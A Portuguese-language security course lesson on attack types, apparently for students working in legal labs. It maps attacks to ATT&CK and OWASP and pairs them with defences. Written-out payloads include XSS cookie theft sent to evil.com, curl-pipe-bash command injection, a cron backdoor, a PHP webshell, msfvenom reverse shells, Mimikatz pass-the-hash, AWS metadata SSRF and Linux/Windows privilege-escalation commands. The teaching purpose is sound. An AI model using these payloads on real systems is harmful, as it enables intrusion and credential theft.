Tipos de Ataques

Conheça seu inimigo

Para defender sistemas, é essencial entender como os atacantes pensam e quais técnicas utilizam.

⚖️ Limite Legal (Art. 154-A do Código Penal)

Invasão de dispositivo informático alheio sem autorização é crime, com pena de 1 a 4 anos de reclusão mais multa (agravada quando envolve sistemas públicos ou dados pessoais). O que diferencia pentest de crime é a autorização por escrito. Todo exercício prático desta aula ocorre exclusivamente em laboratórios legais: PortSwigger Web Security Academy, DVWA, OWASP Juice Shop na sua VM, TryHackMe e Hack The Box.


🗺️ Taxonomia Geral de Ataques

mindmap
  root((Ataques))
    Engenharia Social
      Phishing
      Pretexting
      Typosquatting
    Credenciais
      Força Bruta
      Pass-the-Hash
      Session Hijacking
    Rede
      MitM
      Spoofing
      Pharming
      Eavesdropping
    Aplicação Web
      SQLi
      XSS
      CSRF
      SSRF
      RCE
    Malware
      Ransomware
      Backdoor
      Trojan
    Disponibilidade
      DoS
      DDoS
    Infra e Escalada
      Privilege Escalation
      Supply Chain

🔗 Cyber Kill Chain (Lockheed Martin)

O modelo Cyber Kill Chain descreve as 7 fases que um atacante percorre do reconhecimento até o impacto. Conhecer cada fase permite tanto executar um ataque estruturado em lab quanto detectar onde houve falha na defesa.

flowchart LR
    A["1. Reconnaissance<br/>(OSINT, varredura)"] --> B["2. Weaponization<br/>(exploit + payload)"]
    B --> C["3. Delivery<br/>(phishing, USB, web)"]
    C --> D["4. Exploitation<br/>(execução da vuln)"]
    D --> E["5. Installation<br/>(backdoor, persistence)"]
    E --> F["6. C2<br/>(Command & Control)"]
    F --> G["7. Actions on Objectives<br/>(exfiltração, ransomware)"]
Fase Kill ChainTécnica TípicaExemplo Concreto
ReconnaissanceOSINT, Shodan, nmapMapear portas abertas do alvo
WeaponizationGerar payload com msfvenommsfvenom -p linux/x64/shell_reverse_tcp LHOST=... -f elf
DeliveryPhishing com link maliciosoE-mail com URL para exploit kit
ExploitationSQLi, XSS, RCE via buffer overflow' OR 1=1-- em campo de login
InstallationCron job malicioso, rootkit`echo ”* * * * * /tmp/.backdoor”
C2Conexão reversa TCP, DNS tunnelingMetasploit handler aguardando shell
ActionsExfiltração de banco, cifragem com AESDump de /etc/shadow, criptografia de NAS

🛡️ MITRE ATT&CK: Táticas e Técnicas (Enterprise v16/2025)

O MITRE ATT&CK é o catálogo mais completo de TTPs (Tactics, Techniques & Procedures) observados em ataques reais. A versão atual é a v18.1 (dez/2025), cobrindo 14 táticas para Enterprise.

flowchart TD
    T1["TA0043: Reconnaissance"] --> T2["TA0042: Resource Development"]
    T2 --> T3["TA0001: Initial Access"]
    T3 --> T4["TA0002: Execution"]
    T4 --> T5["TA0003: Persistence"]
    T5 --> T6["TA0004: Privilege Escalation"]
    T6 --> T7["TA0005: Defense Evasion"]
    T7 --> T8["TA0006: Credential Access"]
    T8 --> T9["TA0007: Discovery"]
    T9 --> T10["TA0008: Lateral Movement"]
    T10 --> T11["TA0009: Collection"]
    T11 --> T12["TA0010: Exfiltration"]
    T11 --> T13["TA0011: Command & Control"]
    T12 --> T14["TA0040: Impact"]

🔎 Como usar o ATT&CK no lab

Acesse attack.mitre.org, escolha uma técnica (ex.: T1190 “Exploit Public-Facing Application”) e veja quais grupos APT a usam, quais ferramentas empregam e quais detecções existem. Red teams mapeiam cada ação do exercício a uma técnica ATT&CK para gerar relatório estruturado.


🎣 Ataques de Engenharia Social

O Fator Humano

Muitos ataques exploram pessoas, não tecnologia. O elo mais fraco geralmente é o usuário.

Phishing

Enganar usuários através de e-mails, sites ou mensagens falsas para revelar informações pessoais, senhas ou dados bancários.

Como o atacante executa:

  1. Registra domínio visualmente similar ao alvo (ex: paypa1.com)
  2. Clona a página legítima com HTTrack ou wget
  3. Hospeda o clone e captura credenciais via script PHP simples
  4. Envia e-mail com link via GoPhish ou servidor SMTP próprio
  5. Coleta as credenciais no painel do GoPhish em tempo real

Variantes modernas:

  • Spear phishing: alvo específico, com dados reais da vítima (nome, cargo, colega) obtidos via LinkedIn/OSINT
  • Smishing: via SMS
  • Vishing: ligação de voz com spoofing de caller ID
  • QRishing: QR codes em locais físicos apontando para sites falsos

Social Engineering

Manipulação psicológica para obter informações confidenciais. Pode envolver ligações telefônicas, presença física ou interações online.

Técnicas de persuasão usadas pelo atacante:

  • Autoridade: fingir ser TI, gerente, banco
  • Urgência: “sua conta será bloqueada em 2 horas”
  • Reciprocidade: oferecer ajuda antes de pedir algo
  • Prova social: “todos os outros já atualizaram”

Typosquatting

Registro de domínios com erros de digitação comuns (ex: gooogle.com) para capturar usuários desatentos.


🔐 Ataques de Credenciais

Quebrando Senhas

Ataques focados em obter ou contornar mecanismos de autenticação.

Força Bruta

Tentativas repetidas e sistemáticas de adivinhar credenciais, testando todas as combinações possíveis.

Como o atacante executa:

  • Dicionário: wordlists como rockyou.txt com as 14 milhões de senhas mais vazadas
  • Regras: Hashcat com regras para variações (senhaS3nh@, Senha123!)
  • Credential stuffing: usar pares login:senha de vazamentos anteriores em outros serviços

Ferramentas de lab: hydra, medusa, hashcat, john the ripper

# Exemplo didático (lab local apenas)
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

Por que funciona: reutilização de senhas (credential stuffing tem taxa de sucesso de 0,1% a 2%, que em vazamentos de 100 milhões de registros ainda equivale a centenas de milhares de contas comprometidas).

Pass-the-Hash

Uso indevido de hashes de senha capturados para autenticação, sem precisar saber a senha original.

Como o atacante executa:

  1. Obtém acesso inicial à máquina (qualquer usuário)
  2. Extrai hashes NTLM da memória do processo lsass.exe via Mimikatz: sekurlsa::logonpasswords
  3. Usa o hash diretamente para autenticar em outros sistemas da rede: pth-winexe -U DOMINIO/Admin%[hash] //alvo cmd
  4. Sem precisar saber a senha em texto claro, obtém acesso lateral a toda a rede Windows

ATT&CK: T1550.002 “Use Alternate Authentication Material: Pass the Hash”

Session Hijacking

Roubo e uso de tokens de sessão válidos para assumir a identidade de um usuário autenticado.

Como o atacante executa:

  • Intercepta o cookie de sessão via XSS (document.cookie) ou sniffing em redes abertas
  • Injeta o cookie no próprio navegador (DevTools → Application → Cookies)
  • O servidor vê um cookie válido e aceita a sessão sem novo login

🌐 Ataques de Rede

Interceptação e Manipulação

Ataques que exploram a comunicação entre sistemas.

Man-in-the-Middle (MitM)

Interceptação de comunicações entre duas partes, permitindo espionagem ou modificação de dados em trânsito.

Como o atacante executa (ARP Poisoning):

  1. Fica na mesma rede local da vítima
  2. Envia pacotes ARP Reply falsos: diz à vítima que o MAC do gateway é o seu MAC; diz ao gateway que o MAC da vítima é o seu MAC
  3. Todo tráfego passa pela máquina do atacante
  4. Usa Wireshark ou mitmproxy para capturar/modificar o tráfego
# Lab local com arpspoof (apenas em rede própria de lab)
arpspoof -i eth0 -t [IP-vitima] [IP-gateway]
arpspoof -i eth0 -t [IP-gateway] [IP-vitima]

ATT&CK: T1557 “Adversary-in-the-Middle”

Por que ainda funciona em 2026: redes Wi-Fi sem WPA3, switches não configurados com Dynamic ARP Inspection (DAI), e protocolos legados (HTTP, FTP, Telnet) sem criptografia.

Eavesdropping

Escuta passiva de comunicações privadas para coletar informações sensíveis.

Spoofing

Falsificação de identidade, seja de endereços IP, MAC, e-mails ou outros identificadores.

IP Spoofing: usado principalmente em ataques DDoS de amplificação (o atacante envia requisições UDP com IP de origem falsificado apontando para a vítima; os servidores respondem para a vítima com tráfego amplificado em até 51x no DNS amplification).

Pharming

Redirecionamento de tráfego legítimo para sites fraudulentos através de manipulação de DNS.

Como o atacante executa:

  • DNS Cache Poisoning: injeta entradas falsas no cache de servidores DNS recursivos
  • Hosts file poisoning: modifica C:\Windows\System32\drivers\etc\hosts na máquina da vítima via malware

💻 Ataques a Aplicações Web

Vulnerabilidades de Software

Exploração de falhas em aplicações web e sistemas. As técnicas abaixo estão mapeadas no OWASP Top 10 2025 (A05: Injection, A01: Broken Access Control).

🔴 SQL Injection (SQLi)

O que é: o atacante insere código SQL em campos de entrada (login, busca, URL) que são concatenados diretamente na query do banco de dados, alterando a lógica da consulta.

Como o atacante executa, passo a passo:

Passo 1: Detectar a vulnerabilidade

# Injetar aspas simples e observar erro
username: '
# Erro de banco de dados visível = vulnerável

Passo 2: Confirmar com payload booleano

# True: retorna resultado normal
username: admin'--
# False: não retorna nada ou retorna diferente
username: admin' AND 1=2--

Passo 3: UNION-based (exfiltrar dados)

-- Primeiro, descobrir número de colunas:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (se der erro, há 2 colunas)
 
-- Depois, exfiltrar:
' UNION SELECT username, password FROM users--

Passo 4: Blind SQL Injection (quando não há output visível)

-- Boolean-based: inferir bit a bit
' AND SUBSTRING(password,1,1)='a'--
-- Time-based: usar delay como canal de saída
' AND SLEEP(5)--   (MySQL)
' AND 1=1; WAITFOR DELAY '0:0:5'--   (MSSQL)

Passo 5: Automação com SQLmap

sqlmap -u "http://alvo.com/produto?id=1" --dbs --batch
sqlmap -u "http://alvo.com/produto?id=1" -D loja -T usuarios --dump

Impacto real: dump completo do banco de dados (usuários, senhas, dados pessoais), bypass de autenticação (' OR '1'='1), em casos extremos execução de comandos no SO via xp_cmdshell (MSSQL).

ATT&CK: T1190 “Exploit Public-Facing Application”

🧪 Atividade 1: SQLi no PortSwigger Web Security Academy

Plataforma: portswigger.net/web-security/sql-injection (gratuito, sem cadastro de cartão) Lab: “SQL injection vulnerability in WHERE clause allowing retrieval of hidden data” Passos:

  1. Acesse o lab e clique em “Access the lab”
  2. Navegue até a categoria de produtos (ex: Gifts)
  3. Na URL você verá: ?category=Gifts
  4. Modifique para: ?category=Gifts' OR 1=1--
  5. Observe que TODOS os produtos aparecem, incluindo os não publicados Payload: ' OR 1=1-- Prova da exploração: a página exibe produtos com released=0 (ocultos) ao lado dos normais. O lab exibe o banner “Congratulations, you solved the lab!” quando bem-sucedido. Segundo lab recomendado: “SQL injection attack, querying the database type and version on MySQL and Microsoft” para praticar UNION-based.

🔴 Cross-Site Scripting (XSS)

O que é: o atacante injeta código JavaScript malicioso em uma página web. Quando outro usuário abre essa página, o script executa no contexto do navegador da vítima, podendo roubar cookies, redirecionar para phishing ou capturar teclas.

Três variantes do ponto de vista ofensivo:

TipoComo persisteAlvoImpacto
ReflectedNão persiste, URLUsuário específicoRoubo de sessão via link
StoredPersiste no bancoTodos os visitantesWorm, defacement, mass cookie theft
DOM-basedSó no cliente JSUsuário específicoBypass de CSP server-side

Como o atacante executa (Stored XSS):

  1. Encontra campo que aceita entrada e exibe para outros usuários (comentário, perfil, fórum)
  2. Injeta: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
  3. Quando qualquer usuário (inclusive admin) visita a página, o cookie é enviado ao servidor do atacante
  4. O atacante usa o cookie capturado para sequestrar a sessão do admin

Bypass de filtros básicos (técnica ofensiva):

<!-- Quando <script> é bloqueado -->
<img src=x onerror="alert(document.cookie)">
<svg onload="fetch('https://evil.com?c='+btoa(document.cookie))">
<body onpageshow="javascript:alert(1)">
<!-- Encoding para bypass -->
<script>eval(atob('YWxlcnQoMSk='))</script>

Payload de roubo de cookie completo:

new Image().src='https://evil.com/steal?c='+encodeURIComponent(document.cookie)

ATT&CK: T1059.007 “Command and Scripting Interpreter: JavaScript”

🧪 Atividade 2: XSS no PortSwigger Web Security Academy

Plataforma: portswigger.net/web-security/cross-site-scripting (gratuito) Lab: “Reflected XSS into HTML context with nothing encoded” Passos:

  1. Acesse o lab e use a barra de busca
  2. Digite qualquer termo e observe que ele aparece refletido na página
  3. No campo de busca, insira: <script>alert(1)</script>
  4. Envie a busca Payload: <script>alert(1)</script> Prova da exploração: o navegador exibe um pop-up com “1”. O banner “Congratulations, you solved the lab!” confirma o sucesso. Próximo nível: lab “Stored XSS into HTML context with nothing encoded” para praticar o tipo mais perigoso (afeta todos os visitantes).

🔴 CSRF (Cross-Site Request Forgery)

O que é: o atacante engana o navegador autenticado da vítima para enviar requisições não intencionais a um site onde ela tem sessão ativa. O servidor não consegue distinguir a requisição legítima da forjada porque ambas carregam o cookie válido.

Como o atacante executa:

  1. Identifica uma ação que muda estado no servidor (transferência, troca de e-mail, mudança de senha) e é feita via POST/GET sem token CSRF
  2. Cria uma página HTML maliciosa:
<html>
  <body onload="document.getElementById('f').submit()">
    <form id="f" action="https://banco.com/transferir" method="POST">
      <input name="valor" value="5000">
      <input name="destino" value="conta-do-atacante">
    </form>
  </body>
</html>
  1. Convence a vítima (já logada no banco) a visitar essa página
  2. O navegador da vítima envia automaticamente a requisição com o cookie de sessão válido
  3. O banco processa a transferência como se fosse legítima

Diferença XSS vs CSRF: XSS executa código no contexto do site alvo (tem acesso a cookies, DOM, localStorage). CSRF apenas forja uma requisição autenticada, sem acesso ao conteúdo da resposta.

ATT&CK: T1185 “Browser Session Hijacking”

🔴 SSRF (Server-Side Request Forgery)

O que é: o atacante faz o servidor da aplicação realizar requisições HTTP para destinos arbitrários, incluindo serviços internos inacessíveis externamente e o serviço de metadados de instâncias cloud.

Como o atacante executa:

Cenário 1: Acesso a serviços internos

# Aplicação busca URL fornecida pelo usuário:
POST /fetch-url
url=http://interno:8080/admin/users

# O servidor (com acesso à rede interna) faz a requisição e retorna o resultado

Cenário 2: Roubo de credenciais AWS via metadata service (campanha real de 2025)

# URL alvo do SSRF em instância EC2:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Resposta: nome da role IAM
# Segunda requisição:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/MinhaRole

# Resposta: AccessKeyId, SecretAccessKey, Token temporário
# Com essas credenciais o atacante acessa S3, EC2, RDS de toda a conta AWS

Protocolo além de HTTP: file:///etc/passwd, dict://, gopher:// para explorar outros serviços internos.

ATT&CK: T1552.005 “Unsecured Credentials: Cloud Instance Metadata API”

Impacto real: em 2025, campanhas ativas de SSRF miraram instâncias EC2 com SSRF para exfiltrar credenciais IAM temporárias e obter acesso completo a contas AWS de empresas.

🔴 RCE (Remote Code Execution)

O que é: o atacante consegue executar comandos arbitrários no sistema operacional do servidor, frequentemente como consequência de outros ataques (SQLi avançado, deserialização insegura, template injection, upload de arquivo malicioso).

Vetores comuns de RCE:

1. Command Injection (derivado de input não sanitizado)

# Código vulnerável (Python)
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")
 
# Payload do atacante:
file=foto.jpg; curl https://evil.com/shell.sh | bash

2. File Upload + Webshell

# Fazer upload de arquivo PHP como "foto.jpg"
# Se o servidor não valida content-type:
<?php system($_GET['cmd']); ?>
 
# Acessar via URL: /uploads/foto.jpg.php?cmd=id

3. Server-Side Template Injection (SSTI)

# Em templates Jinja2 (Python/Flask):
{{7*7}}       → retorna 49 (confirma SSTI)
{{config.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

ATT&CK: T1190 + T1059 “Command and Scripting Interpreter”

🧪 Atividade 3: Exploração no OWASP Juice Shop

Plataforma: demo.owasp-juice.shop (online) ou docker run -p 3000:3000 bkimminich/juice-shop na sua VM Desafio: “Login Admin” (1 estrela, nível iniciante) Passos:

  1. Acesse a tela de login do Juice Shop
  2. No campo de e-mail, insira: ' OR 1=1--
  3. No campo de senha, insira qualquer coisa (ex: abc)
  4. Clique em Login Payload: ' OR 1=1-- (SQLi que faz a query retornar o primeiro usuário do banco, que é o admin) Prova da exploração: você é logado como admin@juice-sh.op. O painel de “Score Board” registra o desafio como resolvido com o troféu aceso. Segundo desafio recomendado: “DOM XSS” no campo de busca com payload <iframe src="javascript:alert('xss')"> para ver XSS DOM-based em ação.

Zero Day

Exploração de vulnerabilidades desconhecidas pelos desenvolvedores, para as quais não existe correção disponível.

Como o atacante encontra e usa:

  • Fuzzing automatizado com AFL++, libFuzzer para descobrir crashes
  • Análise de binários com Ghidra, IDA Pro para encontrar falhas em código fechado
  • Venda no mercado de 0days: preços de $50.000 a $2,5 milhões dependendo do alvo (iOS remote jailbreak chegou a US$ 2,5M na Zerodium em 2024)
  • Grupos APT nacionais mantêm stockpile de 0days para uso estratégico

🦠 Ataques com Malware

Software Malicioso

Programas criados para causar danos, roubar dados ou obter acesso não autorizado.

Malware (Geral)

Categoria ampla que inclui vírus, worms, trojans, spyware e outros softwares maliciosos.

Classificação pelo mecanismo de propagação:

TipoPropagaçãoAção Principal
VírusInfecta arquivos legítimosExecuta ao abrir o arquivo hospedeiro
WormAuto-propaga pela rede (sem user action)EternalBlue (MS17-010) varreu a internet em horas
TrojanDisfarçado de software legítimoRAT (Remote Access Trojan), keylogger
SpywareInstalação silenciosaCaptura teclas, telas, microfone
RootkitModifica o SO para se esconderHookeia chamadas de sistema, invisível ao ls
BotnetC2 centralizado ou P2PDDoS, spam, mineração de cripto

🔴 Ransomware

O que é e como o atacante opera (Cyber Kill Chain completo, 2025-2026):

O ransomware moderno é operado por grupos profissionais com modelo RaaS (Ransomware-as-a-Service): afiliados compram acesso à plataforma, executam os ataques e dividem o resgate (típico: 70/30 para o afiliado).

Fase 1: Acesso Inicial (TA0001)

  • Phishing com anexo malicioso (macros Office, LNK, ISO)
  • Exploração de VPN/RDP expostos (vulnerabilidades em Fortinet, Citrix, Ivanti foram vetores tops em 2025)
  • Compra de acesso de Initial Access Brokers (IABs) no dark web

Fase 2: Reconhecimento e Movimento Lateral (TA0007 + TA0008)

  • net view, arp -a, BloodHound para mapear o AD
  • Pass-the-Hash, PtT (Pass-the-Ticket Kerberos), Golden Ticket
  • Movimento para Domain Controller é o objetivo principal

Fase 3: Evasão e Persistência (TA0005 + TA0003)

  • Em 2026, “EDR killers” (drivers maliciosos assinados) se tornaram padrão nos ataques
  • Desabilitar Windows Defender, desligar serviços de backup (VSS Shadow Copies)
  • vssadmin delete shadows /all /quiet

Fase 4: Exfiltração (TA0010) “Double Extortion”

  • Exfiltrar dados ANTES de criptografar
  • Usar Rclone, MEGAsync, FTP para enviar arquivos ao C2
  • Ameaça dupla: pagar para decriptar E pagar para não publicar os dados

Fase 5: Impacto (TA0040)

  • Implantar o payload de cifragem (AES-256 para arquivos, RSA-2048 para proteger a chave AES)
  • Apagar backups locais, shadow copies
  • Deixar nota de resgate em cada pasta

Dados de 2026: ataques explorando aplicações públicas cresceram 44% em relação a 2025. Número de grupos ativos de ransomware cresceu 49%. Resgates médios ultrapassaram US$ 1,5M para alvos corporativos.

sequenceDiagram
    participant A as Atacante
    participant V as Vítima (Rede Corporativa)
    participant C as C2 Server
    A->>V: Phishing / RDP bruteforce (Acesso Inicial)
    V->>A: Shell reversa ou acesso RDP
    A->>V: BloodHound + recon interno
    A->>V: Lateral movement via PtH para DC
    V->>C: Exfiltração de dados (Rclone)
    A->>V: Deploy ransomware + apagar VSS
    V->>V: Cifragem AES-256 de todos os arquivos
    A->>V: Nota de resgate (README_DECRYPT.txt)

Backdoor

Acesso oculto deixado em um sistema para permitir entrada futura sem autenticação normal.

Como o atacante instala:

  • Webshell: arquivo PHP/ASPX oculto em servidor web
  • Cron job malicioso: */5 * * * * curl evil.com/payload.sh | bash
  • Modificação de binário legítimo: substituir sshd por versão backdoored
  • Supply Chain: embutir backdoor em dependência open source (caso XZ Utils 2024: backdoor no liblzma com 3 estágios de ofuscação, CVSS 10.0, comprometeu openssh em milhões de sistemas)

🚫 Ataques de Negação de Serviço

Indisponibilidade

Ataques que visam tornar sistemas ou serviços inacessíveis.

DoS (Denial of Service)

Sobrecarga de um sistema individual com requisições ou tráfego para torná-lo inacessível.

Tipos por camada OSI:

CamadaTipoExemplo
L3/L4 (Rede)VolumétricoICMP flood, UDP flood
L4 (Transporte)SYN floodForjar pacotes SYN sem completar handshake TCP
L7 (Aplicação)HTTP flood, SlowlorisRequisições legítimas em volume ou conexões lentas

Amplificação (técnica ofensiva): o atacante envia pequenas requisições com IP de origem falsificado (spoofed) da vítima para servidores que respondem com muito mais dados. DNS amplification: fator 51x. NTP amplification: fator 556x. SSDP: fator 30x. Resultado: com 1 Gbps de capacidade de envio, o atacante gera até 556 Gbps de tráfego na vítima.

DDoS (Distributed DoS)

Ataque DoS realizado a partir de múltiplas fontes simultaneamente, geralmente usando botnets.

Como o atacante monta uma botnet:

  1. Comprometer milhares de dispositivos IoT com credenciais padrão (Mirai-style: admin/admin, root/1234)
  2. Instalar agente que aguarda comandos do C2
  3. No ataque, enviar comando para toda a botnet mirar o alvo simultaneamente

ATT&CK: T1498 “Network Denial of Service”


🔼 Escalada de Privilégio

🔑 De usuário comum a root/SYSTEM

Uma das fases mais críticas do kill chain: o atacante raramente obtém acesso root direto. Primeiro obtém acesso com baixo privilégio, depois escala.

ATT&CK: TA0004 “Privilege Escalation” (dezenas de técnicas documentadas)

Linux: Vetores Principais

1. SUID Binaries

# Encontrar binários com SUID (executam como root, independente do usuário)
find / -perm -4000 -type f -ls 2>/dev/null
 
# Se /usr/bin/find tem SUID:
/usr/bin/find . -exec /bin/sh -p \; -quit
# -p = preservar UID efetivo (root)
 
# GTFOBins (gtfobins.github.io): lista de binários Unix que permitem escalar
# python, vim, awk, nmap, tar, bash com SUID = root imediato

2. PATH Hijacking

# Script root que chama 'ls' sem caminho absoluto:
# /usr/local/sbin/check.sh: ls /home/
 
# Atacante cria 'ls' malicioso em diretório próprio:
echo "/bin/bash" > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
 
# Executa o script root (via sudo, cron, SUID):
sudo /usr/local/sbin/check.sh
# '/ls' encontrado em /tmp primeiro → executa /bin/bash como root

3. Sudo Misconfiguration

# Ver o que pode rodar como sudo sem senha:
sudo -l
# Se aparecer: (ALL) NOPASSWD: /usr/bin/vim
vim -c ':!/bin/sh'   # shell root imediata

4. Cron Jobs com paths inseguros

# Verificar cron jobs do root:
cat /etc/crontab
ls -la /etc/cron.*
 
# Se o script chamado é editável pelo atacante ou usa path sem /usr/bin absoluto:
echo "chmod +s /bin/bash" >> /script-do-cron.sh
# Aguardar cron executar como root; depois: bash -p  → root shell

Windows: Vetores Principais

1. DLL Hijacking

  • Aplicações buscam DLLs em ordem: diretório do app, System32, PATH
  • Se o diretório do app é editável pelo atacante, substituir ou criar a DLL ausente com código malicioso
  • Quando a aplicação (rodando como SYSTEM/admin) carrega a DLL, executa o payload

2. Token Impersonation

  • Se o serviço tem SeImpersonatePrivilege (comum em serviços IIS, SQL Server), usar JuicyPotato/PrintSpoofer para obter token SYSTEM
  • whoami /priv para verificar privilégios

3. AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Se = 1: qualquer .msi instalado com privilégios SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=... -f msi > shell.msi
msiexec /quiet /qn /i shell.msi

⛓️ Supply Chain Attacks

🏭 Comprometer a cadeia de fornecimento de software

Em vez de atacar o alvo diretamente (que pode ter boa defesa), o atacante compromete um fornecedor, ferramenta ou dependência de confiança.

Por que é devastador: uma única compromissão pode atingir dezenas de milhares de organizações simultaneamente, pois todas confiam no mesmo componente.

Casos históricos e técnicas:

CasoAnoTécnicaImpacto
SolarWinds Orion2020Build pipeline comprometido: DLL backdoor inserida no processo de compilação18.000 organizações, incluso agências federais US
Log4Shell (Log4j)2021Vulnerabilidade em biblioteca onipresente: JNDI lookup → RCEEstimado 93% das clouds corporativas afetadas
XZ Utils (liblzma)2024Social engineering de 2 anos sobre mantenedor burnout: backdoor 3 estágios em compressorComprometeu openssh em distros Linux; CVSS 10.0
Polyfill.io2024Domínio de biblioteca JS amplamente usada vendido; novo dono inseriu redirect malicioso+100.000 sites afetados

Como o atacante opera (XZ Utils como estudo de caso):

  1. Cria identidade falsa (JiaT75), contribui com patches úteis por 2 anos, constrói reputação
  2. Aborda mantenedor esgotado com engenharia social, oferece “ajuda com manutenção”
  3. Torna-se co-mantenedor
  4. Insere backdoor com 3 estágios de ofuscação: Stage-A (bash script), Stage-B (carving de bytes em test files), Stage-C (binary final via RC4 + decompressão)
  5. Backdoor bypassa autenticação SSH quando carregado via systemd em distros com liblzma linkado ao openssh

ATT&CK: T1195 “Supply Chain Compromise”

OWASP Top 10 2025: categoria A03:2025 “Software Supply Chain Failures” é nova, refletindo a explosão desses ataques. Terceiros são responsáveis por 30% de todos os vazamentos de dados.


📊 Tabela Mestre: Ataque × Como o Atacante Faz × Defesa

AtaqueComo o Atacante ExecutaDefesa Principal
PhishingClone de site + GoPhish + domínio similarMFA, treinamento, DMARC/DKIM/SPF
Força BrutaHydra + rockyou.txt / credential stuffingRate limiting, lockout, MFA, senhas longas
Pass-the-HashMimikatz sekurlsa::logonpasswordsCredential Guard, LSA Protection, tiering de admin
MitM (ARP)arpspoof nas 2 direções na LANDynamic ARP Inspection (DAI) em switches, HTTPS, MTA-STS
SQL InjectionUNION-based, blind, SQLmapPrepared statements, ORM, WAF, princípio do menor privilégio no BD
XSS Stored<script>fetch(evil+document.cookie)</script> em input persistidoCSP, output encoding, HttpOnly cookies
CSRFPágina HTML com form auto-submitTokens CSRF, SameSite cookies, verificação de Origin
SSRFurl=http://169.254.169.254/... para metadata AWSIMDSv2, allowlist de destinos, segmentação de rede
RCECommand injection, SSTI, webshell uploadSanitização rigorosa, não executar input do usuário, upload validation
RansomwareKill chain completo: phish → lateral → DC → cifraBackup offsite imutável, EDR, segmentação, patch, MFA em RDP/VPN
Priv Esc (Linux)SUID GTFOBins, PATH hijack, sudo -lAuditar SUID com find, PATH absoluto em scripts root
Supply ChainComprometer dep/build/mantenedorSCA (SBOM), lockfiles, signature verification, SLSA framework
DDoSBotnet + amplificação DNS/NTPAnycast, scrubbing center, rate limiting, BCP38
Session HijackingCaptura de cookie via XSS ou sniffingHttpOnly, Secure, SameSite=Strict; HTTPS everywhere

🔢 OWASP Top 10 2025 (Web)

O OWASP Top 10 2025 analisou 589 CWEs (contra ~400 na versão 2021) e reflete a crescente complexidade dos sistemas modernos.

PosiçãoCategoriaO Que Engloba
A01:2025Broken Access ControlEscalonamento horizontal/vertical, IDOR, SSRF (incorporado aqui)
A02:2025Security MisconfigurationDefaults inseguros, headers ausentes, cloud misconfiguration
A03:2025Software Supply Chain FailuresNOVO: deps vulneráveis, build system, distribuição comprometida
A04:2025Cryptographic FailuresDados em trânsito/repouso sem cifragem, algoritmos fracos
A05:2025InjectionSQLi, OS command injection, LDAP injection, template injection
A06:2025Insecure DesignFalhas arquiteturais, ausência de threat modeling
A07:2025Identification and Authentication FailuresMFA ausente, sessões fracas, credential stuffing
A08:2025Data Integrity FailuresDeserialização insegura, updates sem verificação de assinatura
A09:2025Security Logging and Alerting FailuresAusência de logs, alertas não acionáveis
A10:2025Mishandling of Exceptional ConditionsNOVO: error handling que falha aberto, logical errors

📚 Fontes (2026)


📊 Resumo Visual

CategoriaExemplosAlvo Principal
Engenharia SocialPhishing, PretextingPessoas
CredenciaisForça Bruta, Pass-the-HashAutenticação
RedeMitM, SpoofingComunicação
AplicaçãoSQLi, XSS, CSRF, SSRF, RCESoftware
MalwareRansomware, TrojanSistemas
DoS/DDoSFlood, AmplificationDisponibilidade
EscaladaSUID, DLL Hijack, Token ImpersonationPrivilégios
Supply ChainSolarWinds, XZ Utils, Polyfill.ioCadeia de fornecimento